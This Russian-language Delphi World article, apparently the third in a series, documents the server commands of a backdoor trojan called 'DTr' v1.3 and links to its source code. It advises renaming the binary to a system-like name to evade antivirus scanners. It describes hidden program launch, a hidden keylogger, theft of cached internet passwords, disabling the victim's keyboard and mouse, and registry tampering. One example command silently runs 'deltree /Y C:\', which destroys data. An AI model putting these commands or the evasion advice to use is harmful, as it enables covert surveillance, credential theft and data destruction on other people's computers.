Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей  по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...
BackDoor - удалённое администрирование 3

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Чуваку надоело работать с Windows 95 и он выдернул шнур из розетки..... На экране надпись "А вы уверены?"

Как все наверное знают, DrWeb и AVP уже начали определять мою прогу "DTr" v.1.3. Я решил это дело пофиксить. Выбрал время, набрал пива, поставил брейкпоинты на SoftIce, а потом решил "проверить на вшивость". Изменил имя приложения, откомпилил, запустил сканеры. Проверил. Запаковал, запустил мониторы, переписал туда-сюда. Не ловят. Цирк. Как говорила одна моя знакомая: "я забыла сопротивляться". Эти "супер" антивиры отлавливают пока только имя приложения. Это значит что если генерить имя случайным образом, то по этому алгоритму работы они вообще его ловить не будут. А если обозвать приложение именем какого-нибудь стандарта? Например, "internat.exe"? Кстати имя приложения изменяется в 118 строке в значении константы "AppName" в исходниках (см. ниже).

В любом случае я решил форсировать процесс и выложить на свою страницу полные исходники сервера. Исходники клиента и дополнительной DLL выкладывать не буду - там столько используется моих и не моих компонентов и модулей, что это уже мало похоже на Delphi. Тем более клиент и DLL антивирами не определяются, а в следующих статьях я "освещу" клиент на "чистом" Delphi.

Исходники особым обилием комментариев не отличаются, но после внимательного прочтения моих предыдущих двух статей на эту тему, я думаю, в них можно разобраться. Единственная сложность, какая может возникнуть, это закачка файлов, но общий принцип работы алгоритма я расскажу в следующих статьях. Тем более, что особо разбираться и не нужно - изменить имя приложения можно и так. В этой статье я дам подробное описание команд, которые понимает сервер.

В сервере замечены баги на Win95, при перезагрузке компа и т.п. Об этом я также расскажу. Исходники находятся на моей странице в архиве www.danil.dp.ua/dtr_s13s.zip. Особой красотой алгоритмы не отличаются. Принцип был один: работает - и ладно, а оптимизация будет в следующей версии. Замечу, что пришлось переписывать функцию преобразования строка-число - под NT выдавала какой-то бред.

КОМАНДЫ "DTr" v.1.3:

Некоторые обозначения:

  • _#13_ - символ с кодом 13;
  • <параметр> - параметры команды (без <>).

Команды чуствительны к регистру - "helo" и "HeLo" не одно и то же.

  • Проверка связи. Команда "helo". Параметров нет. Должно выдать систему сервера, каталоги, имя юзера и т.д.
  • Файловый менеджер. Команда "ld <каталог>". Требует от сервера вернуть список файлов и директорий, находящихся в <каталог>. Сервер возвращает список из строк, разделенных символом #13. В начале списка стоит "[[[ListFile <каталог>_#13_" для указания клиенту, что это список файлов, и вывести его надо в окне файлового менеджера.
  • ПРИМЕР:


    "ld C:\WINDOWS\"
    

  • Список запущенных процессов на удаленном компьютере. Команда "lp". Параметров нет. Должно выдать список процессов в окне сообщений. Требует для своей работы дополнительную DLL (см. в клиенте).
  • Прервать процесс. Команда "dp <№ или ID процесса>". Прерывает процесс. № (для Win9x/ME) или ID (WinNT) - из списка процессов (смю выше). Требует дополнительную DLL.
  • ПРИМЕР:


    "dp 2"
    

  • Перегрузить удаленный комп. Команда "rbt". Работает только на Win9x/ME. Если есть желание, то можно дописать для NT. Для этого нужно запросить дополнительные права. На Delphi это выглядит примерно так :



  • procedure ReBoot;
    var
      hToken: THandle;
      tkp: TTokenPrivileges;
      RetLen: DWORD;
      PreviousState: TTokenPrivileges;
      Ver: TOsVersionInfo;
    begin
      try
        Ver.dwOSVersionInfoSize := SizeOf(Ver);
        GetVersionEx(Ver);
        if Ver.dwPlatformId = VER_PLATFORM_WIN32_NT then
        g>begin // если WinNT
          if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
            exit;
          if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
            exit;
          PreviousState := tkp;
          tkp.PrivilegeCount := 1;
          tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
          if not(AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(PreviousState), PreviousState, RetLen)) then
            exit;
        end;
        ExitWindows(EWX_REBOOT,0); // перезагрузить
      except
      end;
    end;
    

  • Выключить компьютер. Команда "sd". Работает только на Win9x/ME.
  • Запуск win-приложения. Команда "start <имя файла>_#13_<параметры>_#13_<вид>". Запускает приложение. Может запустить и связанный файл: например "*.doc". <вид> - способ запуска (число):
    • 0 : скрыто;
    • 1 : минимизировано;
    • 2 : нормально;
    • 3 : на весь экран.

    ПРИМЕР:


    "start C:\WINDOWS\1.doc_#13_#13_3"
    

  • Запуск DOS-приложения. Команда "startDOS <имя файла>_#13_<параметры>_#13_<вид>". Запускает приложение. <вид> - способ запуска (число).
  • ПРИМЕР:


    "startDOS C:\WINDOWS\COMMAND\deltree.exe_#13_/Y C:\_#13_0"
    

  • Проверка дополнительной DLL. Команда "dll DTrTestDLL_#13_<строка>". Проверяет доступность и инициализацию дополнительной DLL. Служит для проверки DLL при переименовании и переносе. Предполагается в следующих версиях этой командой запускать функции из дополнительной библиотеки ("dlll <команда>_#13_<параметры> "). Сервер должен вернуть <строка> или сообщение об ошибке. Само-собой на сервере необходима дополнительная DLL.
  • ПРИМЕР:


    "dll DTrTestDLL_#13_ddddd"
    

  • Образ экрана. Команда "scr <файл>". Сканирует экран и переносит в gif-файл. Требует для своей работы дополнительную DLL.
  • ПРИМЕР:


    "scr C:\scr.gif"
    

  • Высветить сообщение. "sm <вид> <заголовок>_#13_<текст сообщения>". Высветить сообщение. <вид> - иконка (число):
    • 0 : нету;
    • 1 : Stop;
    • 2 : !;
    • 3 : ?;
    • 4 : Info.

    ПРИМЕР:


    "sm 1 Error_#13_System FAILURE"
    

  • Минимизировать и закрыть активное приложение. Команды "mnwn" и "clwn" соответсвенно.
  • Выключить экран, мышь и клаву. Команды "clsc", "clms" и "clkl". ВНИМАНИЕ. Используются команды "rundll32.exe user,disableoemlayer", "rundll32.exe mouse,disable" и "rundll32.exe keyboard,disable". Обратные команды типа "rundll32.exe mouse,enable" не работают. Комп придется перегружать.
  • Убрать с экрана и показать панель задач. Команды "ht" и "st" соответственно.
  • Пробипать динамиком. Команда "bp <кол-во раз>".
  • ПРИМЕР:


    "bp 13"
    

  • Просмотр подключей выбранного ключа реестра. Команда "RegVKey <ключ>_#13_".:
    • 0 : HKCU;
    • 1 : HKLM;
    • 2 : HKU;
    • 3 : HKCC.

    ПРИМЕР:


    "RegVKey Software_#13_1" // Просмотр всех подключей в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Просмотр параметров выбранного ключа реестра. Команда "RegVPar <ключ>_#13_".
  • ПРИМЕР:


    "RegVPar Software_#13_1" // Просмотр всех параметров в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Создать подключ в выбранном ключе реестра. Команда "RegCKey <ключ>_#13_<подключ>_#13_".
  • ПРИМЕР:


    "RegCKey Software_#13_sss_#13_1" // Создать подключ "sss" в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Создать/Изменить строковой параметр в выбранном ключе реестра. Команда "RegCPar <ключ>_#13_<параметр>_#13_<значение>_#13_".
  • ПРИМЕР:


    "RegCPar Software_#13_sss_#13_ddd_#13_1" // Создать/изменить параметр "sss" с значением "ddd" в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Создать/Изменить числовой параметр в выбранном ключе реестра. Команда "RegCWPr <ключ>_#13_<параметр>_#13_<значение>_#13_".
  • ПРИМЕР:


    "RegCWPr Software_#13_sss_#13_666_#13_1" // Создать/изменить параметр "sss" с значением "666" в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Удалить подключ в реестре. Команда "RegDKey <подключ>_#13_".
  • ПРИМЕР:


    "RegDKey Software\sss_#13_1" // Удалить подключ "sss" в HKEY_LOCAL_MACHINE\SOFTWARE
    

  • Удалить параметр в ключе реестра. Команда "RegDPar <ключ>_#13_<параметр>_#13_".
  • ПРИМЕР:


    "RegDPar Software\sss_#13_ddd_#13_1" // Удалить параметр "ddd" в HKEY_LOCAL_MACHINE\SOFTWARE\sss
    

    Для всех нижеследующих команд необходима дополнительная DLL.

  • Включить клавиатурный шпион. Команда "KeySpyON <файл>". Включить кл.шпион с записью в <файл>. Файл потом закачивается с помощью файлового менеджера. Файл имеет атрибут системный и для юзера в проводнике не виден.
  • Выключить клавиатурный шпион. Команда "KeySpyOFF".
  • Получить кешированные инет-пароли. Команда "CrckP". Сервер должен вывести все пароли, на свойствах соединения которых стоит "Сохранять пароли". Только для Win9x/ME.
  • Получить инет-пароли из EType Dialer. Команда "CrkED".
  • Получить список доступных по сети компьютеров. Команда "UserList".
  • Получить список зарегестрированных в WinNT-server пользователей на удаленном компьютере. Команда "ServList". Только для WinNT-server.
  • Команды файлового манеджера.

  • Показать список зарегистрированных в системе дисков - "ld". Возвращает список дисков со строкой "[[[ListDrvr " в начале.
  • Показать список файлов и каталогов в указанной директории - "ld <каталог>". В начале списка стоит "[[[ListFile <каталог>_#13_".
  • Создать каталог в текущей директории - "MakeDir <имя>".
  • ПРИМЕР:


    "MakeDir 111"
    

  • Переименовать/перенести, скопировать файл, каталог - "CopFile <родительский каталог>_#13_<имя файла, каталога>_#13_<куда>_#13_<вид>". <вид>:
    • 0 : копировать каталог со всем содержимым;
    • 1 : перенести/переименовать каталог;
    • 2: копировать файл;
    • 3 : перенести/переименовать файл.

    ПРИМЕР:


    "CopFile C:\WINDOWS\_#13_win.com_#13_C:\TEMP\1.tmp_#13_3"
    

  • Удалить файл, пустой каталог - "DelFile <имя>". Удаляет файл или пустой каталог. Если каталог, то на конце должно быть "\". <имя> - полный путь.
  • ПРИМЕР:


    "DelFile C:\WINDOWS\win.com" или "C:\WINDOWS\"
    

  • Показать атрибуты файла, каталога - "ShowAttr <имя>".
  • ПРИМЕР:


    "ShowAttr C:\WINDOWS\win.com"
    

  • Изменить атрибуты файла, каталога - "SetAttrb <имя>_#13_<атрибут>".
  • ПРИМЕР:


    "SetAttrb C:\WINDOWS\win.com_#13_0"
    

  • Получить файл с сервера - "LoadFile <полный путь к файлу на сервере>_#13_<размер буфера>". Файл передается по частям и <размер буфера> - размер передаваемого буфера для файла. На разных компах была замечена такая особенность: клиент и сервер получают не столько, сколько указано, а столько, сколько захотят (т.е. он может принять подряд 4800, 6800, 8600, и т.д.).Поэтому была сделана возможность установки размера буфера приема и отправки.
  • ПРИМЕР:


    "LoadFile C:\WINDOWS\win.com_#13_4000"
    

  • Отправить файл на сервер. Файл разбивается (в случае необходимости) на части. Размер частей зависит от буфера обмна. Вначале посылается команда "SaveFile <полный путь и имя файла на сервере>_#13_<размер>". Потом шлются команды "SconFile <размер>_#13_<часть файла>", где на сервер отправляется весь файл по частям. Сервер после получения и записи должен отвечать. Последняя часть файла идет так: "SendFile <часть файла>". Это говорит серверу что нужно записать и закрыть файл.

Функции дополнительной DLL ("nb003.dll"):

DTrTestDLL
Проверка дополнительной DLL. Входной параметр - указатель на строку, выходной параметр - указатель на строку вида: "Проверка DLL выполнена. Полученная строка - ...".
DTrLstProc
Список запущенных процессов. Входной параметр - число, определяющее систему сервера (0-Win9x/ME,1-WinNT). Выходной параметр - указатель на список строк, содержащий названия и номер всех запущенных приложений.
DTrDelProc
Прервать процесс по номеру или ID. Входные параметры - число, определяющее систему сервера и номер или ID удаляемого процесса. Выходной параметр- указатель на строку с информацией о результате выполнения операции.
DTrGetScr
Получение снимка экрана в файл. Входной параметр - указатель на строку с полным путем и именем gif-файла. Выходной параметр- указатель на строку с информацией о результате выполнения операции.
DTrEDPass
Получить пароли EType Dialer. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.
DTrCrkPass
Получить кешированные инет-пароли. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.
DTrSrvLst
Получить список пользователей WinNT-server. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий инфу обо всех юзерах или сообщение о неудаче выполнения операции.
DTrUsrLst
Получить список подключенных к серверу компов. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий имена всех компьютеров или сообщение о неудаче выполнения операции.
DTrKeyProc
Функция клавиатурного шпиона.

Теперь о багах. Почему-то если сервер стоит на Win95, то в окне получаемых сообщений, если предыдущая посланная строка была больше текущей, то выводится полученная строка и окончание предыдущей. Это все фиксится обнулением буфера отправки или отправкой только стольких байт, сколько есть в подготовленной строке. Т.е. или перед отправкой надо ставить:


mov ecx,6666
mov edi,offset BufStr0
lll_1: mov byte ptr [edi],0
inc edi
loop lll_1

Или, лучше, конструкцию:


invoke send,client,addr BufStr0,sizeof BufStr0,0

Надо переписать так:


invoke lstrlen, addr BufStr0
invoke send,client,addr BufStr0, eax,0 

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Проект Delphi World © Выпуск 2002 - 2004
Автор проекта: ___Nikolay